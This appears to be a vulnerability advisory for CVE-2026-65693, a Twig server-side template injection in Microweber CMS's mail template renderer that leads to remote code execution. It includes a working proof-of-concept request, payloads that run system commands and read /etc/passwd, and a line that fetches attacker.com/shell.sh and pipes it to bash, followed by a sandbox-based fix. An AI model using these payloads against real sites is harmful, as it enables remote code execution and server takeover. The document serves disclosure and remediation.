CVE-2026-65693 — Microweber CMS: Server-Side Template Injection via Unsandboxed Twig Mail Template Renderer
CVE ID: CVE-2026-65693
Product: Microweber CMS
Repository: https://github.com/microweber/microweber
Affected Versions: All versions up to and including v2.0.20 (latest tag as of 2026-07)
Vulnerability Type: Server-Side Template Injection (SSTI) → Remote Code Execution
CVSS 3.1 Score: 8.0 HIGH
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE: CWE-94 (Improper Control of Generation of Code), CWE-1336 (Improper Neutralization of Special Elements in Template Engine)
Discovered: 2026-07-15
Disclosed: 2026-07-23
CVE Assigned by: VulnCheck
Package: microweber/microweber
Tested Versions: 2.0.20
Reporter: Reju Kole
CVSS 3.1: 8.0 HIGH (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-94 (Improper Control of Generation of Code)
Microweber CMS uses a custom TwigView class to render admin-editable email and notification templates. This class instantiates a Twig\Environment with ArrayLoader but never adds SandboxExtension. Because admin-controlled template content is rendered as raw Twig without any restriction, an attacker with admin access can inject Twig expressions that abuse PHP function filters to achieve persistent Remote Code Execution on every event that triggers a notification.
The central render helper creates an unsandboxed Twig environment:
public function render($html, array $data = [], $options = []) {
$key = md5($html);
$loader = new \Twig\Loader\ArrayLoader([$key => $html]);
$twig = new \Twig\Environment($loader, $options); // ← no SandboxExtension
return $twig->render($key, $data);
}The same unsandboxed pattern is duplicated inline for order confirmation emails:
$loader = new ArrayLoader(['checkout_mail.html' => $order_email_content]);
$twig = new Environment($loader); // ← no SandboxExtension
$order_email_content = $twig->render('checkout_mail.html', [...]);Mail template content is stored to the database with zero sanitization:
$findMailTemplate->message = $data['message']; // ← raw, unsanitized| File | Line | Trigger event |
|---|---|---|
CheckoutManager.php |
1036 | Bank transfer order confirmation |
NewOrderNotification.php |
96 | Any paid order |
NewFormEntryAutoRespond.php |
98 | Contact form with autorespond enabled |
UserManager.php |
683 | User registration email |
NewRegistration.php |
61 | New user registration notification |
POST /api/save_mail_template HTTP/1.1
Host: victim.example.com
Cookie: <admin_session_cookie>
Content-Type: application/x-www-form-urlencoded
type=new_order&name=Order+Confirmation&subject=Your+order&message={{['id']|filter('system')}}Place any order (bank transfer) or submit a contact form configured with autorespond. The Twig environment renders the stored template body without sandboxing.
The rendered email body (or HTTP response if a test-send endpoint is used) contains the shell output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
{{['cat /etc/passwd']|filter('shell_exec')}}
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
{{['curl http://attacker.com/shell.sh|bash']|filter('passthru')}}- Persistent RCE — payload fires on every matching event (order, registration, form submission) until removed
- File system access — read/write arbitrary files as the web server user
- Database credential extraction — access CMS config files and
.env - Webshell deployment — write a persistent backdoor to the webroot
- Privilege escalation — if web server runs as a privileged user, full system compromise
Any administrator with access to the notification template editor can establish persistence affecting all site visitors who generate notification events.
Add SandboxExtension with a strict allowlist to TwigView::render() and every inline Environment instantiation:
use Twig\Sandbox\SecurityPolicy;
use Twig\Extension\SandboxExtension;
$policy = new SecurityPolicy(
['for', 'if'], // allowed tags
['upper', 'lower', 'date', 'escape'], // allowed filters
[], // allowed methods
[], // allowed properties
['range', 'date'] // allowed functions
);
$twig->addExtension(new SandboxExtension($policy, true));Alternatively, replace the Twig renderer entirely with a simple variable substitution approach (e.g., str_replace) that does not support arbitrary code execution.
| Date | Event |
|---|---|
| 2026-07-15 | Vulnerability discovered via static analysis |
| 2026-07-15 | Report submitted to VulnCheck |
| 2026-07-23 | CVE-2026-65693 assigned by VulnCheck |
| 2026-07-23 | Public disclosure (project abandoned — no active maintainer) |
Note: The Microweber CMS GitHub repository has not received a commit in nearly a year and the official website returns HTTP 403. The project is considered abandoned. VulnCheck confirmed public disclosure is appropriate and will publish the CVE record following this disclosure.
- GitHub repository: https://github.com/microweber/microweber
- Twig SandboxExtension documentation: https://twig.symfony.com/doc/3.x/api.html#sandbox-extension
- CWE-1336: https://cwe.mitre.org/data/definitions/1336.html
- VulnCheck CVE entry: CVE-2026-65693